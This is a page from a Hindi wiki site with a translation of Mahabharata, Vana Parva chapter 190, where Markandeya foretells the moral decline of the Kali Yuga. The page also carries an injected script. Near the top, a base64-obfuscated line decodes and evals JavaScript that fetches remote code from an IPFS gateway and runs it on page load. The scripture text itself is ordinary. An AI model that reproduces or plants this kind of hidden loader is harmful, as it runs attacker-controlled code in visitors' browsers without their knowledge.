महाभारत वन पर्व अध्याय 190 श्लोक 1-24

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०७:३१, १८ अगस्त २०१५ का अवतरण ('==नवत्यधिकशततम (190) अध्‍याय: वन पर्व (मार्कण्डेयसमस्या...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नवत्यधिकशततम (190) अध्‍याय: वन पर्व (मार्कण्डेयसमस्या पर्व)

महाभारत: वन पर्व: नवत्यधिकशततम अध्‍याय: श्लोक 1-24 का हिन्दी अनुवाद

युगान्तरकालिक कलियुगके समयके बर्तावका तथा कल्कि-अवतारका वर्णन

वैशम्पायनजी कहते हैं-जनमेजय! तदनन्तर कुन्तीनन्दन युधिष्ठिरने महामुनि मार्कण्डेयसे अपने साम्राज्यमें जगत् की भावी गतिविधिके विषयमें पुनः इस प्रकार प्रश्न किया। युधिष्ठिर बोले-वक्ताओंमें श्रेष्ठ! भृगुवंशविभूषण महर्षें! हमने आपके मुखसे युगके आदिमें संघटित हुई उत्पति और प्रलयके सम्बन्धमें बड़े आश्चर्यकी बातें सुनी हैं। अब मुझे इस कलियुगके विषयमें पुनः विशेषरूपसे सुननेका कुतूहल हो रहा हैं। जब सारे धर्मोंका उच्छेद हो जायगा, उस समय क्या शेष रहा जायगा ? युगान्तकालमें कलियुगके मनुष्योंका बल-पराक्रम कैसा होगा ? उनके आहार-विहार कैसे होंगे ? उनकी आयु कितनी होगी और उनके परिधान-वस्त्राभूषण कैसे होंगे। कलियुगके किस सीमातक पहुंच जानेपर पुनः सत्ययुग आरम्भ हो जायगा ? मुने! इन सब बातोंका विस्तारपूर्वक वर्णन कीजिये; क्योंकि आपकी कथा बड़ी विचित्र होती हैं। युधिष्ठिरके इस प्रकार पूछनेपर मुनिश्रेष्ठ महर्षि मार्कण्डेयने वृष्णिप्रवर श्रीकृष्ण तथा पाण्डवोंको आनन्दित करते हुए पुनः इस प्रकार कहा। मार्कण्डेय बोले-भरतश्रेष्ठ राजन्! मैंने देवाधिदेव भगवान् बालमुकुन्दकी कृपासे पूर्वकालमें, निकृष्ट कलिकालके प्राप्तहोनेपर सम्पूर्ण लोकोंके भावी वृतान्तके विषयों जो कुछ देखा-सुना या अनुभव किया हैं, वह बताता हूं, सुनो और समझो। भरतश्रेष्ठ! सत्ययुगमें मनुष्योंके भीतर वृषरूप धर्म अपने चारों पादोंसे युक्त होनेके कारण सम्पूर्ण रूपमें प्रतिष्ठित होता हैं। उसमें छल-कपट या दम्भ नहीं होता। किंतु त्रेतामें वह धर्म अधर्मके एक पादसे अभिभूत होकर अपने तीन अंशोंसे ही प्रतिष्ठित होता हैं। द्वापरमें धर्म आधा ही रह जाता हैं। आधेमें अधर्म आकर मिल जाता हैं। परंतु भरतश्रेष्ठ! कलियुग आनेपर अधर्म अपने तीन अंशोद्वारा सम्पूर्ण लोकोंको आक्रान्त करके स्थित होता हैं और धर्म केवल एक पादसे मनुष्योंमें प्रतिष्ठित होता हैं। पाण्डुनन्दन! प्रत्येक युगमें मनुष्योंकी आयु, वीर्य, बुद्धि, बल तथा तेज क्रमशः घटते जाते हैं। युधिष्ठिर! अब कलियुगके समयका वर्णन सुनो। ब्राह्मण, क्षत्रिय, वैश्य, और शूद्र सभी जातियोंके लोग कपटपूर्वक धर्मका आचरण करेंगे और धर्मका जाल बिछाकर दूसरे लोगोंको ठगते रहेंगे। अपनेको पण्डित माननेवाले लोग सत्यका कर देंगे। सत्यकी हानि होनेसे उनकी आयु थोड़ी हो जायगी। और आयुकी कमी होनेके कारण वे अपने जीवन-निर्वाहके योग्य विद्या प्राप्त नहीं कर सकेंगे। विद्याके बिना ज्ञान न होनेसे उन सबको लोभ दबा लेगा। फिर लोभ और क्रोधके वशीभूत हुए मूढ़ मनुष्य कामनाओंमें फंसकर आपसमें वैर बांध लेंगे और एक दूसरेके प्राण लेनेकी घातमें लगे रहेंगे। ब्राह्मण, क्षत्रिय और वैश्य-ये आपसमें संतानोत्पादन करके वर्णसंकर हो जायंगे। वे सभी तपस्या और सत्यसे रहित हो शूद्रोंके समान हो जायंगे। अन्त्यज ( चाण्डाल आदि ) क्षत्रियवैश्य आदिके कर्म करेंगे और क्षत्रिय-वैश्य आदि चाण्डालोंके कर्म अपना लेंगे, इसमें संशय नहीं हैं। युगान्तकाल आनेपर लोगोंकी ऐसी ही दशा होगी। वस्त्रोंमें सनके बने हुए वस्त्र अच्छे समझे जायंगे। धानोंमें कोदोका आदर होगा। उस युगक्षयके समय पुरूष केवल स्त्रियोंसे ही मित्रता करनेवाले होंगे। कितने ही लोग मछलीके मांसके जीविका चलायेंगे। गायोंके नष्ट हो जानेके कारण मनुष्य भेड़ और बकरीका भी दूध दुहकर पीयेंगे। जो लोग सदा व्रत धारण करके रहनेवाले हैं, वे भी युगान्त कालमें लोभी हो जायंगे। लोग एक दूसरेको लूटेंगे और मारेंगे। युगान्तकालके मनुष्य जपरहित, नास्तिक और चोरी करनेवाले होंगे। नदियोंके किनारेकी भूमिको कुदालोंसे खोदकर लोग वहां अनाज बोयेगे। उन अनाजोंमें भी युगान्तकालके प्रभावसे बहुत कम फल लगेंगे। जो सदा ( पराणका त्याग करके ) व्रतका पालन करनेवाले लोग हैं, वे भी उस समय लोभवश देवयज्ञ तथा श्राद्धमें एक दूसरेके यहां भोजन करेंगे।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।